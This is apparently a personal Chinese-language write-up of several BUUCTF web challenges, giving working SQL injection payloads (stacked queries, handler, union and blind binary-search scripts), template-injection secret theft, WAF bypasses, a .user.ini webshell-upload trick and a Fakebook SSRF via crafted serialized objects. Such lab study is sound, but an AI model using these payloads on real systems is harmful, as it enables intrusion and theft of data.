注意表的两端两边要加:``
1' ; show databases;#
查看数据库
1' ;show tables;#
查看表
0'; show columns from words ;#
查看words表中字段
0';show columns from 1919810931114514;#
发现flag,然后看了师傅的文章发现:
将words表改名为word1或其它任意名字
1919810931114514改名为words
将新的word表插入一列,列名为id
将flag列改名为data
1’;rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#
最后1’ or 1=1 #
得到flag
看了另一篇文章发现还可以用handler代替select查询
1'; handler 1919810931114514 open as y1ng; handler y1ng read first; handler y1ng close;#
render是模板注入,由于不了解,看wp
flag in /fllllllllllllag
render
md5(cookie_secret+md5(filename))
error?msg={{1*2}}
获取cookie_secret:error?msg={{handler.settings}}
根据获得的cookie_secret构造md5(cookie_secret+md5(filename)),python脚本如下:
import hashlib
hash = hashlib.md5()
filename='/fllllllllllllag'
cookie_secret="2ad0f0aa-09ba-4658-b836-3f024bcb6702"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())
运行得到cdc288af8c27adc5ceea4581b0b94d46
file?filename=/fllllllllllllag&filehash=cdc288af8c27adc5ceea4581b0b94d46
得到flag
不会。。。查看wp的时候得到了源码:
session_start();
include_once "config.php";
$post = array();
$get = array();
global $MysqlLink;
//GetPara();
$MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
if(!$MysqlLink){
die("Mysql Connect Error!");
}
$selectDB = mysqli_select_db($MysqlLink,$dataName);
if(!$selectDB){
die("Choose Database Error!");
}
foreach ($_POST as $k=>$v){
if(!empty($v)&&is_string($v)){
$post[$k] = trim(addslashes($v));
}
}
foreach ($_GET as $k=>$v){
}
}
//die();
?>
<html>
<head>
</head>
<body>
<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>
if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));
}
?>
预期:1;set sql_mode=pipes_as_concat;select 1
pipes_as_concat:将“||”视为字符串的连接操作符而非或运算符,将前一个字段的查询结果和后一个字段查询结果进行拼接
非预期:*,1
*号为查询所有数据
直接给链接看了,师傅tql:HCTF2018-admin
不知道是否可以爆破(没试)。。。。账号:admin,密码:123即可登录得到flag
下面这种情况字符串无论进行多少次lower()都会得到一个结果,因此lower()方法具有幂等性
注册一个ᴬᴰmin账号,传入的数据会进行一次转化,这时ᴬᴰmin–>ADmin,服务器端会判断该用户是否存在,然后成功注册
账号成功登录,并且变为ADmin
然后再更改密码,用admin和自己更改的密码登录,得到flag
假如waf不允许num变量传递字母:
http://www.xxx.com/index.php?num = aaaa //显示非法输入的话
那么我们可以在num前加个空格:
http://www.xxx.com/index.php? num = aaaa
这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
在calc.php得到源码
用? num
可绕过waf检测,并执行了php语句
接下来要查看目录文件
构造? num=1;var_dump(scandir(chr(47)))
char(47)是 / 的ascii码,也可以用hex2bin(dechex(47))
得到了f1agg,我们查看文件即可
构造 ? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
可参考文章:利用PHP的字符串解析特性Bypass
先下载源码,然后看师傅的wp
下载源码,打开是几千个php文件,而且很乱,根本没法看,不过里面包含很多shell,那么我们就要找到有用的shell。
利用师傅脚本得到有用的shell即可,
强网杯upload&&高明的黑客&&随便注 复现
上传php文件返回:非法后缀
上传.htaccess返回exif_imagetype:not image
上传xxx.jpg返回 in contents!
接下来是我的上传误区!!!
把一句话改为如下进行上传,成功过滤
GIF89a
那么试着改文件类型将.htaccess上传
上传都成功了,试着访问发现:失败。查看wp发现:htaccess有局限性,只能是apache
这里有新的知识点:
.user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。
可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。在.user.ini写入代码如下,上传
GIF89a
auto_prepend_file=a.jpg
这里注意由于upload/文件夹下有index.php,会包含a.jpg,所以成功了
接下来蚁剑连接即可得到flag
假若一句话木马被禁了,那么我们还可以命令执行得到flag
GIF89a
在根目录发现flag,将执行语句改为
或
不好的地方就是要重复上传a.jpg可能会出现问题
参考:[SUCTF 2019]CheckIn
送分???????构造万能密码登录,成功得到flag
admin' or 1=1#
sql注入的题目,有过滤,然后发现过滤了union、and、or、空格
和/**/
,无从下手,查看了wp,发现空格其实还有很多解法的
空格可以用:%09 %0a %0b %0c %0d /**/ /*!*/
或者直接tab
这里用模糊测试得出
mid,substr都没被过滤,考虑布尔盲注,用if函数判断截取出来的内容是什么,这里需要穷举。如果判断成功,返回1,否则返回2。由于题目告诉我们表和字段都为flag,可直接爆破flag的值
参考师傅的二分法脚本如下:
import requests
import time
#url是随时更新的,具体的以做题时候的为准
url = 'http://7558e160-ede8-4f30-a7da-6b5727376b56.node3.buuoj.cn/index.php'
data = {"id":""}
flag = 'flag{'
i = 6
while True:
#从可打印字符开始
begin = 32
end = 126
tmp = (begin+end)//2
while begin<end:
print(begin,tmp,end)
time.sleep(1)
data["id"] = "if(ascii(substr((select flag from flag),{},1))>{},1,2)".format(i,tmp)
r = requests.post(url,data=data)
if 'Hello' in r.text:
begin = tmp+1
tmp = (begin+end)//2
else:
end = tmp
tmp = (begin+end)//2
flag+=chr(tmp)
print(flag)
i+=1
if flag[-1]=='}':
break
这里buuctf限制每秒访问次数,所以加上time.sleep(1)。等了几分钟得到flag了
这里可以看一下源码,看看到底过滤了哪些
$dbuser='root';
$dbpass='root';
function safe($sql){
#被过滤的内容 函数基本没过滤
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
foreach($blackList as $blackitem){
if(stripos($sql,$blackitem)){
return False;
}
}
return True;
}
if(isset($_POST['id'])){
$id = $_POST['id'];
}else{
die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
die(mysql_error());
}
mysql_select_db("ctf",$db);
if(safe($id)){
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
if($query){
$result = mysql_fetch_array($query);
if($result){
echo $result['content'];
}else{
echo "Error Occured When Fetch Result.";
}
}else{
var_dump($query);
}
}else{
die("SQL Injection Checked.");
}
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
用Syc{cat_cat_cat_cat}
提交发现不对,试着传?cat=dog
,就得到了flag…送分题
进去发现查看源码得到信息
接着就是访问
点击发现
回复没看清么,那么抓包试试
访问得到一段源码,是文件包含,并且提示flag在flag.php里面
直接访问?file=flag.php
发现不行,用?file=php://filter/read=convert.base64-encode/resource=flag.php
访问得到base64编码的源码,解码即可
为什么我觉得蒋璐源是女生。。。。
进入发现一个登陆,一个注册,然后试了试没有思路,看wp
发现有flag.php和robots.txt,访问robots.txt可以得到user.php.bak,查看得到代码
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
在注册处首先抓包,然后用sqlmap跑
发现表中存储的是反序列化,接下来在get处注入,有waf所以用++
?no=-1++union++select++1,group_concat(schema_name),3,4++from++information_schema.schemata--+
?no=-1++union++select++1,group_concat(table_name),3,4++from++information_schema.tables++where++table_schema='fakebook'-- +
?no=-1++union++select++1,group_concat(column_name),3,4++from++information_schema.columns++where++table_name='users'--+
最后将博客地址改成file:///var/www/html/flag.php来进行序列化。
?no=0++union++select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
查看源码得到了一串base64的链接
打开即可得到flag
由于题目没过滤load_file,可直接盲注,师傅脚本如下
import requests
url = 'http://c824219f-cb72-4deb-afd8-c12c4f7cacf1.node3.buuoj.cn/view.php?no='
result = ''
for x in range(0, 100):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload = "if(ascii(substr((load_file('/var/www/html/flag.php')),%d,1))>%d,1,0)" % (x, mid)
response = requests.get(url + payload)
if 'http://c824219f-cb72-4deb-afd8-c12c4f7cacf1.node3.buuoj.cn/join.php' in response.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(int(mid))
print(result)
跑完花了10几分钟得到了flag
发现其实可以直接得flag的,传参:
?no=0+unIon/**/select+1,load_file('/var/www/html/flag.php'),1,1
查看源码得到了flag
参考:
网鼎杯-Fakebook-反序列化和SSRF和file协议读取文件
刷题记录:[网鼎杯]Fakebook
先到这了,文章太长不好,去肝下一篇了